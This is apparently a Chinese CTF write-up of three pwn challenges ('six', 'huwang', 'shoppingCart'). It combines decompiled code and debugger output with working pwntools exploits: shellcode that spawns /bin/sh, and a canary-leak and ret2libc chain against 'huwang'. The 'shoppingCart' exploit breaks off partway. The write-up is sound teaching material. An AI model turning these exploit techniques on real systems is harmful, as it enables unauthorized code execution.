29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *

context.clear()
# context.log_level = 'debug'
context.binary ='./six'
context = {'arch':'amd64','bits':'64','endian':'little','os':'linux'}

if args['REMOTE']:
Io = remote('127.0.0.1',10000)
else:
Io = process('./six')

# gdb.attach(Io)

# send payload1
payload1 = asm('''
push rsp
pop rsi
mov edx,esi
syscall
''') # 545e89f20f05
# payload1 = chr(0x54) + chr(0x5e) + chr(0x89) + chr(0xf2) + chr(0x0F) + chr(0x05)
Io.recvuntil('Show Ne0 your shellcode:')
Io.send(payload1)

# send payload2
# one method of shell
shell = asm('''
mov eax,0x3b
mov rdi,rsi
add rdi,0xb4d
xor rdx,rdx
xor rsi,rsi
syscall
''') # b83b0000004889f74881c74d0b00004831d24831f60f05
shell += "/bin/sh\0" # 2f62696e2f736800

# the other method of shell
# shell = asm(shellcraft.sh())
payload2 = '\x90'*(0x1000-0x500+0x30+0x06) + shell

Io.sendline(payload2)
Io.interactive()

0x04 总结

这道题主要考的是Linux系统下,怎么利用汇编来进行系统调用。以及使用mmap()函数,分配内存块时的策略。

huwang

0x00 file && checksec

1
2
3
4
5
6
7
8
9
$ file huwang 
huwang: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f74d9c8c7f896833ec74d4a898784772c139878a, stripped
$ checksec huwang
[*] '/home/.../Desktop/huwang/huwang'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

可以看到这是一个64bit的ELF程序,并且stripped掉了符号表。保护措施,除了PIE没有开启,也就是地址不会随机化,其他都开启了。

0x01 观察程序行为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
$ ./huwang 
_ _ __ __ ____ _
| | | |_ \ \ / /_ _ _ __ __ _| __ ) ___(_)
| |_| | | | \ \ /\ / / _` | '_ \ / _` | _ \ / _ \ |
| _ | |_| |\ V V / (_| | | | | (_| | |_) | __/ |
|_| |_|\__,_| \_/\_/ \__,_|_| |_|\__, |____/ \___|_|
|___/
---------menu---------
1. Add Note
2. Delete Note
3. Show Note
4. Exit
command>>
3
Sorry, an unknown error has occurred!
---------menu---------
1. Add Note
2. Delete Note
3. Show Note
4. Exit
command>>
1
size:5
content:12345
Success~
---------menu---------
1. Add Note
2. Delete Note
3. Show Note
4. Exit
command>>
invalid choice
---------menu---------
1. Add Note
2. Delete Note
3. Show Note
4. Exit
command>>
3
Sorry, an unknown error has occurred!
---------menu---------
1. Add Note
2. Delete Note
3. Show Note
4. Exit
command>>
2
index:1
---------menu---------
1. Add Note
2. Delete Note
3. Show Note
4. Exit
command>>
4

可以看到,不管有没有Note,选Show Note,都显示Sorry, an unknown error has occurred!其它没什么特别的。下面我们用IDA打开来看看。

0x02 IDA分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax

set_timer();
banner();
while ( 1 )
{
while ( 1 )
{
menu();
v3 = get_option_num(); // 获取选项
if ( v3 != 3 )
break;
show_note(); // 3.显示Note
}
if ( v3 > 3 )
{
if ( v3 == 4 ) // 4.退出
exit(0);
if ( v3 == 666 )
option_666(); // 选项666
LABEL_15:
puts("invalid choice"); // 无效的选择
}
else if ( v3 == 1 )
{
add_note(); // 1.添加Note
}
else
{
if ( v3 != 2 )
goto LABEL_15;
delete_note(); // 2.删除Note
}
}
}

我们可以看到,有一个选项666,并没有在菜单中出现,我们进去看一下。后面我们可以知道,除了这个666选项有用,其他选项是没用的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
void __noreturn option_666()
{
int v0; // ST04_4
__int64 v1; // [rsp+0h] [rbp-80h]
__int64 v2; // [rsp+0h] [rbp-80h]
signed int i; // [rsp+0h] [rbp-80h]
int v4; // [rsp+4h] [rbp-7Ch]
int fd; // [rsp+8h] [rbp-78h]
int fda; // [rsp+8h] [rbp-78h]
int encrypt_nums; // [rsp+Ch] [rbp-74h]
char result; // [rsp+10h] [rbp-70h]
char s[32]; // [rsp+20h] [rbp-60h]
char s1; // [rsp+40h] [rbp-40h]
char name; // [rsp+60h] [rbp-20h]
unsigned __int64 v12; // [rsp+78h] [rbp-8h]

v12 = __readfsqword(0x28u); // canary
puts("please input your name"); // 输入不超过0x20字节的名字
read(0, &name, 0x20uLL); // 这里超过0x19字节会覆盖canary
memset(s, 0, 0x10uLL);
puts("Do you want to guess the secret?");
get_choose(&result, 2LL);
if ( result == 'y' )
{
if ( access("/tmp/secret", 0) == -1 ) // 如果/tmp/secret不存在
{
HIDWORD(v1) = open("/tmp/secret", 0x41, 0777LL);// 创建/tmp/secret文件,flags:O_CREAT(0x40)|O_WRONLY(0x01),赋予777权限
fd = open("/dev/urandom", 0); // flags:O_RDONLY(0x00)
read(fd, s, 12uLL); // 从/dev/urandom读取12字节随机数
LODWORD(v1) = 0; // /tmp/secret文件描述符值的低32位赋0
while ( (signed int)v1 <= 11 ) // 有符号v1与0xB,比较,小于0xB
{
s[(signed int)v1] &= 1u; // 使读出的随机数每个字节的高7位为0
LODWORD(v1) = v1 + 1;
}
write(SHIDWORD(v1), s, 12uLL); // 将读出的随机数经过处理写入/tmp/secret
close(SHIDWORD(v1));
close(fd);
}
v0 = open("/tmp/secret", 0, v1); // flags:O_RDONLY(0x00)
read(v0, s, 12uLL);
close(v0);
puts("Input how many rounds do you want to encrypt the secret:");
encrypt_nums = get_option_num(); // 输入对secret加密的次数
// 只判断了大于 10 和为0 的情况
if ( encrypt_nums > 10 )
{
puts("What? Why do you need to encrypt so many times?");// 超过10次,退出
exit(-1);
}
if ( !encrypt_nums ) // 加密次数为0,退出
{
printf("At least encrypt one time", s);
exit(-1);
}
HIDWORD(v2) = open("/tmp/secret", 0x201); // flags:O_TRUNC(0x200)|O_WRONLY(0x01)
LODWORD(v2) = 0;
while ( (unsigned int)v2 < encrypt_nums ) // 当加密次数输入为-1时,v2(无符号)与encrypt_num(有符号)比较时,-1会变成一个很大的数,致使程序一直处于加密循环中
{
MD5((__int64)s, 16LL, (__int64)s);
LODWORD(v2) = v2 + 1;
}
write(SHIDWORD(v2), s, 16uLL);
close(SHIDWORD(v2));
puts("Try to guess the md5 of the secret");
read(0, &s1, 16uLL); // 输入你猜测的secret的MD5值
if ( !memcmp(&s1, s, 16uLL) ) // 进行比较,相等则进入
cmp_md5_true((__int64)&name);
// 不相等,进行下列操作
v4 = open("/tmp/secret", 0x201, 0777LL, v2);// flags:O_TRUNC(0x200)|O_WRONLY(0x01)
fda = open("/dev/urandom", 0); // flags:O_RDONLY(0x00)
read(fda, s, 12uLL);
for ( i = 0; i <= 11; ++i )
s[i] &= 1u;
write(v4, s, 12uLL);
close(v4);
close(fda);
exit(0);
}
printf("Oh!bye %s\n", &name);
exit(0);
}

这里我们需要了解open()函数的flags的几个相关参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
头文件:
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

函数原型:
int open(const char *pathname, int flags, mode_t mode);

函数参数:
*pathname:要打开的文件的路径及名称
flags:位掩码,用于指定文件的访问模式
mode:当调用open()创建新文件时,指定了文件的访问权限,若flags未包含O_CREAT标志,则可以省略mode参数

flags:
文件访问标志:O_RDONLY、O_WRONLY、O_RDWR,这三者不能同时使用,只能指定其中一种
O_RDONLY:以只读权限打开
O_WRONLY:以只写权限打开
O_RDWR:以读写权限打开
文件创建标志:这里面只说此题中用到的O_TRUNC。
O_TRUNC:如果文件已经存在且为普通文件,那么将文件内容清空,将其长度置0.
已打开文件状态标志

  这里由于IDA显示的是多个flags选项相或的值,我们可以通过constgrep命令查看每个flags选项的的值,并进行计算,确定所用的flags选项。

  程序首先通过open()创建只写文件/tmp/secret,并赋予777权限。然后从/dev/urandom读出12个字节随机数,处理后存入/tmp/secret文件,并关闭文件。然后在执行MD5加密前,以flags:O_TRUNC(0x200)|O_WRONLY(0x01)调用open()函数,将/tmp/secret文件清空,对处理后的随机数执行MD5加密后,将MD5加密后的结果存入/tmp/secret文件。然后让我们猜加密后的MD5值,猜对了进入存在明显溢出漏洞的cmp_md5_true函数。

  我们这里需要绕过MD5值对比的验证,进入漏洞函数进行利用。对随机数进行MD5加密的次数,是由用户控制的,由于程序只判断了加密次数大于10和等于0的情况,所以这里可以通过输入-1进行绕过。当我们输入-1时,在进行加密次数判断时,v2(无符号)与encrypt_num(有符号)比较时,-1会变成一个很大的数,致使程序一直处于加密循环中,造成程序运行超时退出,时间为一分钟。导致/tmp/secret文件为空,这是我们再开一个交互,就可以预测MD5的值了,由于文件为空,所以被加密的明文为”\x00”*16,我们通过hashlib算出”\x00”*16的MD5值,即可绕过验证。

下面是一些调试过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
1、创建完/tmp/secret后,文件描述符值
0x4011dc mov eax, 0
0x4011e1 call 0x400b40 HIDWORD(v1) = open("/tmp/secret", 0x41, 0777LL);

0x4011e6 mov dword ptr [rbp - 0x7c], eax
0x4011e9 mov esi, 0
0x4011ee mov edi, 0x4019cd
*RAX 0x3

2、看看程序对从/dev/unrandom读出的随机数做了什么
0x401216 mov dword ptr [rbp - 0x80], 0
0x40121d jmp 0x40123b
pwndbg> dq rbp-0x80
00007fffffffdc80 0000000300000000 00007fff00000004
00007fffffffdc90 0000000000000079 0000000000000000
00007fffffffdca0 b563b8cc0cfde998 00000000f9684b16
00007fffffffdcb0 00007fffffffddf0 0000000000000000

while ( v1 <= 11 ) // 有符号v1与0xB,比较,小于0xB则执行while循环,处理随机数
{
s[v1] &= 1u;
LODWORD(v1) = v1 + 1;
}
执行上一段代码前:s[32]
pwndbg> db rbp-0x60
00007fffffffdca0 98 e9 fd 0c cc b8 63 b5 16 4b 68 f9 00 00 00 00
00007fffffffdcb0 f0 dd ff ff ff 7f 00 00 00 00 00 00 00 00 00 00
执行上一段代码后:s[32]
pwndbg> db rbp-0x60
00007fffffffdca0 00 01 01 00 00 00 01 01 00 01 00 01| 00 00 00 00
00007fffffffdcb0 f0 dd ff ff ff 7f 00 00 00 00 00 00 00 00 00 00
这段代码使读出的随机数每个字节的高7位为0


3、将处理后的随机数写入/tmp/secret
0x401245 mov eax, dword ptr [rbp - 0x7c]
0x401248 mov edx, 0xc
0x40124d mov rsi, rcx
0x401250 mov edi, eax
0x401252 call 0x400b38 write(SHIDWORD(v1), s, 12uLL);
pwndbg> dumpargs --force
rdi = 0x3 /tmp/secret
rsi = 0x7fffffffdca0 ◂— 0x101000000010100 随机数
rdx = 0xc
rcx = 0x7fffffffdca0 ◂— 0x101000000010100
r8 = 0x7ffff7fd3700 ◂— 0x7ffff7fd3700
r9 = 0x1999999999999999


4、看看第二次打开/tmp/secret时的文件描述符的值
0x40126b mov esi, 0
0x401270 mov edi, 0x4019c1
0x401275 mov eax, 0
0x40127a call 0x400b40 v0 = open("/tmp/secret", 0, v1);
pwndbg> dumpargs --force
rdi = 0x4019c1 ◂— '/tmp/secret'
rsi = 0x0
rdx = 0xc
rcx = 0x7ffff76c08f0 (__close_nocancel+7) ◂— cmp rax, -0xfff
r8 = 0x7ffff7fd3700 ◂— 0x7ffff7fd3700
r9 = 0x1999999999999999
*RAX 0x3 和第一次打开的文件描述符一样?前一个文件描述符已经关闭了


5、看看第三次打开/tmp/secret时的文件描述符的值
0x401303 call 0x400b40 HIDWORD(v2) = open("/tmp/secret", 0x201);
pwndbg> dumpargs --force
rdi = 0x4019c1 ◂— '/tmp/secret'
rsi = 0x201
rdx = 0x0
rcx = 0x7fffffffdc51 ◂— 0xfa00000000000031 /* '1' */
r8 = 0x0
r9 = 0x1999999999999999
*RAX 0x3 依旧是3,因为前面两次都关闭了文件描述符
文件描述符的值始终是当前可用的最小的值,0x000x010x02分别被stdin、stdout、stderr占据,所以之前没有打开的文件时,当前打开的文件的文件描述符为0x03


6、查看保存文件描述符的变量的值
0x401308 mov dword ptr [rbp - 0x7c], eax
0x40130b mov dword ptr [rbp - 0x80], 0
0x401312 jmp 0x40132d
pwndbg> dq rbp-0x80 v2=0x0000000300000000
00007fffffffdc80 0000000300000000 ffffffff00000004
00007fffffffdc90 0000000000000079 0000000000000000
00007fffffffdca0 0101000000010100 0000000001000100
00007fffffffdcb0 00007fffffffddf0 0000000000000000


7、当加密次数输入为-1时,一直处于加密循环中
0x40132d mov eax, dword ptr [rbp - 0x80] v2
0x401330 cmp eax, dword ptr [rbp - 0x74] encrypt_nums
0x401333jb 0x401314 (unsigned int)v2 < encrypt_nums
pwndbg> dd rbp-0x80 v2=0x00000000
00007fffffffdc80 00000000 00000003 00000004 ffffffff
00007fffffffdc90 00000079 00000000 00000000 00000000
00007fffffffdca0 00010100 01010000 01000100 00000000
00007fffffffdcb0 ffffddf0 00007fff 00000000 00000000
pwndbg> dd rbp-0x74 encrypt_nums=0xffffffff
00007fffffffdc8c ffffffff 00000079 00000000 00000000
00007fffffffdc9c 00000000 00010100 01010000 01000100
00007fffffffdcac 00000000 ffffddf0 00007fff 00000000
00007fffffffdcbc 00000000 00000000 00000000 f75ffe90


8、canary
option_666()
RBP 0x7fffffffdd00 —▸ 0x7fffffffdd10 —▸ 0x401510 ◂— push r15
RSP 0x7fffffffdc80 ◂— 0x5000000

c:0060rsi 0x7fffffffdce0 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓
0f:00780x7fffffffdcf8 ◂— 0xac2fcd3b25ae0f00 <<canary
10:0080rbp 0x7fffffffdd00 —▸ 0x7fffffffdd10 —▸ 0x401510 ◂— push r15

get_option_num()
0x400d47 push rbp
0x400d48 mov rbp, rsp
0x400d4b sub rsp, 0x20
0x400d4f mov rax, qword ptr fs:[0x28]
0x400d58 mov qword ptr [rbp - 8], rax
03:00180x7fffffffdc68 ◂— 0xac2fcd3b25ae0f00 <<canary
04:0020rbp 0x7fffffffdc70 —▸ 0x7fffffffdd00 —▸ 0x7fffffffdd10 —▸ 0x401510 ◂— push r15
得出一个结论,每次程序运行后,所有函数使用的canary值是一样的,以前我认为是不一样的。我没有做更多的验证,所以我也不是很确定对不对。
还有就是都是从fs0x28取canary。

我们绕过了MD5验证,进入cmp_md5_true()函数看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __fastcall cmp_md5_true(__int64 name)
{
char v1; // ST1B_1
int v3; // [rsp+1Ch] [rbp-214h]
char occupation; // [rsp+20h] [rbp-210h]
char s; // [rsp+120h] [rbp-110h]
unsigned __int64 v6; // [rsp+228h] [rbp-8h]

v6 = __readfsqword(0x28u); // canary
printf("Congratulations, %s guessed my secret!\n", name);// leak canary
puts("And I want to know someting about you, and introduce you to other people who guess the secret!");
puts("What`s your occupation?");
get_choose(&occupation, 255LL);
v3 = snprintf(
&s,
0xFFuLL,
"I know a new friend, his name is %s,and he is a noble %s.He is come from north and he is very handsome........."
".................................................................................................",
name,
&occupation);
puts("Here is your introduce");
puts(&s);
puts("Do you want to edit you introduce by yourself[Y/N]");
v1 = getchar();
getchar();
if ( v1 == 'Y' )
read(0, &s, v3 - 1); // stack overflow
return printf("The final presentation is as follows:%s\n", &s);
}

  当我们输入的名字长度为0x19字节时,就可以leak出canary,得到canary,我们就可以绕过canary保护机制,然后再利用ROP绕过NX,执行shellcode了。由于libc是开启PIE的,所以我们直接使用确定的函数地址,只能动态获得。我们通过调用cmp_md5_true()函数,传入参数为puts()函数的got表地址,因为之前已经调用过puts()函数了,所以可以直接打印出puts()函数的地址。然后我们就可以确定libc的基地址,从而获得system()的地址和/bin/sh的地址。获得shell。

0x03 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
import hashlib

context.clear()
# context.log_level = 'debug'
context.binary ='./huwang'
context = {'arch':'amd64','bits':'64','endian':'little','os':'linux'}

libc = ELF('./libc.so.6',checksec=False)
elf = ELF('./huwang',checksec=False)

pop_rdi_ret = 0x401573
puts_got = elf.got['puts']
cmp_md5_true = 0x40101C
debug = 1

def option_666(io,name,guess,encrypt_num,md5_ciphertext,flag):
io.recvuntil('command>> \n')
io.sendline('666')
io.recvuntil('please input your name\n')
io.send(name)
io.recvuntil('Do you want to guess the secret?\n')
io.sendline(guess)
io.recvuntil('Input how many rounds do you want to encrypt the secret:\n')
io.sendline(str(encrypt_num))
if flag == 1:
io.recvuntil('Try to guess the md5 of the secret\n')
io.send(md5_ciphertext)

def debug_remote(ip,port,breakpoint):
if debug == 1:
io = process('./huwang',env = {'LD_PRELOAD' : './libc.so.6'})
# gdb.attach(io,breakpoint)
else:
io = remote(ip,port)
return io

def md5_encrypt(plaintext):
md = hashlib.md5()
md.update(plaintext.encode())
ciphertext = md.hexdigest()
return ciphertext.decode('hex')


def exploit(ip,port):
io1 = debug_remote(ip,port,'')
option_666(io1,'Sp4n9x','y',-1,'Sp4n9x',0)
io1.recvuntil('timeout~\n')

io2 = debug_remote(ip,port,'b *0x040110D\nc')
md5_ciphertext = md5_encrypt('\x00'*16)
option_666(io2,'Sp4n9x'.rjust(0x19,'A'),'y',1,md5_ciphertext,1)
io2.recvuntil('Sp4n9x'.rjust(0x19,'A'))
# gdb.attach(io2)
canary = u64('\x00' + io2.recvn(7))
print hex(canary)
io2.recvuntil('What`s your occupation?\n')
io2.send('A'*0xff)
io2.recvuntil('Do you want to edit you introduce by yourself[Y/N]\n')
io2.sendline('Y')

'''
stack status
0x4141414141414141
........
0x0200cf560c7a0a41 <- canary
0x0000000000000000 <- rbp
0x0000000000401573 <- pop rdi ; ret
0x0000000000602F70 <- puts_got
0x000000000040101C <- cmp_md5_true
'''
shellcode1 = 'A'*0x108 + p64(canary) + p64(0)
shellcode1 += p64(pop_rdi_ret) + p64(puts_got) + p64(cmp_md5_true)
io2.send(shellcode1)
io2.recvuntil('Congratulations, ')
puts_addr = u64(io2.recvn(6) + '\x00'*2)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + int(next(libc.search('/bin/sh'),16))
io2.recvuntil('What`s your occupation?\n')
io2.send('A'*0xff)
io2.recvuntil('Do you want to edit you introduce by yourself[Y/N]\n')
io2.sendline('Y')

'''
stack status
0x4141414141414141
........
0x0200cf560c7a0a41 <- canary
0x0000000000000000 <- rbp
0x0000000000401573 <- pop rdi ; ret
0x0000000000602F70 <- '/bin/sh'
0x000000000040101C <- system
'''
shellcode2 = 'A'*0x108 + p64(canary) + p64(0)
shellcode2 += p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
io2.send(shellcode2)

io2.interactive()

if __name__ == '__main__':
exploit('127.0.0.1',1000)

0x04 总结

这道题前面的Note菜单有点迷惑人,让人以为是一道堆相关的题目,打开IDA分析后,发现与堆没有任何关系。主要考查的是,open()的参数flags的几个选项的作用。还有就是有符号数与无符号数进行比较会发生的错误。以及通过泄露canary的值实现栈溢出,通过ROP绕过NX保护,ret2libc获取shell。

shoppingCart

0x00 file && checksec

1
2
3
4
5
6
7
8
9
$ file shoppingCart 
shoppingCart: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3fcbc93317b6160fe21ecee679180c2a99c67685, stripped
$ checksec shoppingCart
[*] '/home/...../Desktop/shoppingcart/shoppingCart'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

恩,一个64bit的程序,去除了符号表,开启了全部保护。开了PIE就需要泄露地址,所以有点麻烦。

0x01 运行程序,观察程序功能

1
2
3
4
5
6
7
8
9
buffer@ubuntu64:~/Desktop/shoppingcart$ ./shoppingCart 
/***
* |) |) |)
* |)L|\/|)L|\/|)L|\/
* / / /
*/
EMMmmm, you will be a rich man!
cmskmsk
EMMmmm, you will be a rich man!

程序只是输出了一些信息,并未提示让我们输入什么。所以利用IDA静态分析一下。

0x02 IDA静态分析

mian()函数里有两个自定义函数。

1
2
3
4
5
6
7
8
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
puts("/***\n* |) |) |) \n* |)L|\\/|)L|\\/|)L|\\/ \n* / / / \n*/");
money_menu();
goods_menu();
puts("Happy Shopping Day!\nbye~");
return 0LL;
}

一个是与money有关的函数,一个是与goods有关的函数。我们先来看看money_menu()。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 money_menu()
{
unsigned __int64 option_num; // rax
char option_str; // [rsp+10h] [rbp-20h]
unsigned __int64 canary; // [rsp+28h] [rbp-8h]

canary = __readfsqword(0x28u);
while ( 1 )
{
while ( 1 )
{
puts("EMMmmm, you will be a rich man!");
fgets(&option_str, 24, stdin);
option_num = strtoul(&option_str, 0LL, 0);// 将输入的字符串转化为无符号长整型
if ( option_num != 2 )
break;
removemoney(); // 输入2时,删除money
}
if ( option_num == 3 ) // 输入3时,跳出
break;
if ( option_num == 1 ) // 输入1时,获取money
getmoney();
}
return __readfsqword(0x28u) ^ canary;
}

我们需要输入一个选项,来进入不同的功能。经过分析,输入2时,会执行删除money的操作,但是里面只是提示了不能删除。所以这个功能并没有什么用。输入3时跳出money_menu。输入1时执行getmoney(),所以,我们进入这个函数去看一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int getmoney()
{
__int64 *v0; // rax
money *money_ptr1; // rax
money *money_ptr2; // ST08_8
__int64 v3; // rax
__int64 money_num; // rcx money_list索引

if ( money_sum <= 19 ) // money种类数量
{
puts("I will give you $9999, but what's the currency type you want, RMB or Dollar?");
money_ptr1 = malloc(16uLL); // 给结构体分配内存
money_ptr2 = money_ptr1;
money_ptr1->num = 9999LL;
fgets(&money_type[8 * money_sum], 8, stdin);// 将money_type存到.bss段的数组中
money_ptr2->money_type = &money_type[8 * money_sum];// 将money_type的字符串指针存入结构体成员money_type中
v3 = money_sum++;
money_num = v3;
v0 = money_list;
money_list[money_num] = money_ptr2; // 将结构体指针存到.bss段的数组中
}
else
{
LODWORD(v0) = puts("You already have enough money!");
}
return v0;
}

这里是经过优化的代码,我们看起来会比较好理解一点,原本并不是这样的。初始状态不仔细看是不容易看不出来有money和goods两个结构体的(对于新手来说),我们需要利用IDA的优化代码的功能,添加这两个结构体。具体的添加方法可以参考IDA Pro权威指南。

1
2
3
4
5
6
7
8
9
10
11
12
00000000 money           struc ; (sizeof=0x10, mappedto_6)
00000000 money_type dq ?
00000008 num dq ?
00000010 money ends
00000010
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 goods struc ; (sizeof=0x10, mappedto_7)
00000000 goods_name dq ?
00000008 num dq ?
00000010 goods ends
00000010

这个函数能够在堆上最多定义20个money结构体,每个money结构体具有两个成员,money_type和num,num是固定的9999,money_type是任意的,也可以使用题目说的RMB和Dollar,并不会影响解题。结构体对象是存在堆上的,前8个字节存储money_type字符串的地址,而money_type是存储在.bss段的,并且最后也会将money结构体对象的指针存入.bss段的一个数组中,我将其命名为money_list。

我们再来看看goods_menu()函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned __int64 goods_menu()
{
unsigned __int64 option_num; // rax
char option_str; // [rsp+10h] [rbp-20h]
unsigned __int64 canary; // [rsp+28h] [rbp-8h]

canary = __readfsqword(0x28u);
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("Now, buy buy buy!");
fgets(&option_str, 24, stdin);
option_num = strtoul(&option_str, 0LL, 0);
if ( option_num != 2 )
break;
delete_goods(); // 输入2,删除goods
}
if ( option_num > 2 )
break;
if ( option_num == 1 )
add_goods(); // 输入1,添加goods
}
if ( option_num != 3 )
break;
edit_goods(); // 输入3,编辑goods
}
}
while ( option_num != 4 );
return __readfsqword(0x28u) ^ canary;
}

goods具有三个选项,add、delete、edit,问题出现在add_goods()函数和edit_goods()函数中。这里需要说明一下,用堆的做法,会涉及到add_goods()和edit_goods()中的两个漏洞,另一种方法只会使用到edit_goods()中用来泄露地址的漏洞。这里先说说不用堆的方法吧,用堆的方法,我暂时还没有弄清楚,我们进入edit_goods()函数看一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 edit_goods()
{
unsigned __int64 goods_num; // rax
__int64 v1; // ST00_8 v1=goods_num
char goods_num_str; // [rsp+10h] [rbp-20h]
unsigned __int64 canary; // [rsp+28h] [rbp-8h]

canary = __readfsqword(0x28u);
puts("Which goods you need to modify?");
fgets(&goods_num_str, 24, stdin); // 这里输入负数,经过strtoul转换后,会造成数组的越界访问
goods_num = strtoul(&goods_num_str, 0LL, 0);
printf("OK, what would you like to modify %s to?\n", *goods_list[goods_num], goods_num);// 这里可以用来泄露地址
*(*goods_list[v1] + read(0, *goods_list[v1], 8uLL)) = 0;// 这里会造成任意地址写
return __readfsqword(0x28u) ^ canary;
}

此函数中没有对输入的数据进行验证,当我们修改goods参数时,输入的goods编号为负数时,经过strtoul转换后,会造成后面打印的时候,越界读取数组,泄露地址信息。修改数据的时候会造成任意地址写。我们再来看看.bss段上数据的排布:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.bss:0000000000202090 goods_sum       dq ?                    ; DATA XREF: add_goods+17↑r
.bss:0000000000202090 ; add_goods+E1↑r ...
.bss:0000000000202098 money_sum dq ? ; DATA XREF: getmoney+8↑r
.bss:0000000000202098 ; getmoney+53↑r ...
.bss:00000000002020A0 ; char money_type[160]
.bss:00000000002020A0 money_type db 0A0h dup(?) ; 0
.bss:00000000002020A0 ; DATA XREF: getmoney+62↑o
.bss:00000000002020A0 ; getmoney+8B↑o
.bss:0000000000202140 money_list dq 14h dup(?) ; 0
.bss:0000000000202140 ; DATA XREF: getmoney+B6↑o
.bss:00000000002021E0 ; _QWORD goods_list[20]
.bss:00000000002021E0 goods_list dq 14h dup(?) ; 0
.bss:00000000002021E0 ; DATA XREF: add_goods+FB↑o
.bss:00000000002021E0 ; delete_check+24↑o ...

可以看到money_type、money_list、goods_list都是相连的,通过对goods_list的越界读取,可以泄露出程序的某一处地址。说来也巧,刚好在其上面不远处有一个指向自身的指针,我们可以计算偏移,泄露出此处的地址,计算出elf文件的加载基址。这处地址在elf文件的偏移0x202068处。

1
2
.data:0000000000202068 off_202068      dq offset off_202068    ; DATA XREF: sub_940+17↑r
.data:0000000000202068 ; .data:off_202068↓o

0x03 exp(non-heap)

利用思路:

1、调用getmoney()获得money,这里可以只获得两个money,因为后面只用到了money_list的前两个,也可以添加满20个。
2、利用edit_goods()泄露elf偏移0x202068处的地址,并计算出elf文件的加载基址,再计算出puts_got的地址。这里为什么不能直接泄露got表函数的地址,后面再说。
3、修改money_list[0]中的指针为money_list[1]的地址,修改money_list[1]中的指针为puts_got的地址。这里是为了泄露puts函数地址并且修改got表。因为修改goods_name的时候,是一个二级指针结构,所以这里也需要构造成一个二级指针结构。
4、然后将libc中的execv(“/bin/sh”)片段地址覆盖puts_got地址,再次调用puts()时,就会执行execv(“/bin/sh”)。

第二步为什么不能直接泄露puts_got的内容,就是因为第三步中所说的,泄漏的内容需要具有一个二级指针结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *

context.clear()
# context.log_level = 'debug'
context.binary ='./shoppingCart'
context = {'arch':'amd64','bits':'64','endian':'little','os':'linux'}

debug = 1
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec = False)

def getmoney(io,num):
for i in range(num):
io.sendlineafter('EMMmmm, you will be a rich man!\n','1')
io.sendlineafter('RMB or Dollar?\n','RMB')
io.sendlineafter('EMMmmm, you will be a rich man!\n','3')

def edit_goods(io,index,content,flag):
io.sendlineafter('Now, buy buy buy!\n','3')
io.sendlineafter('Which goods you need to modify?\n',index)
if flag == 1:
io.recvuntil('OK, what would you like to modify ')
addr = u64(io.recv(6).ljust(8,'\0'))
return addr
else:
io.sendline(content)

if debug:
io = process('./shoppingCart')
else:
io = remote('127.0.0.1',1000)

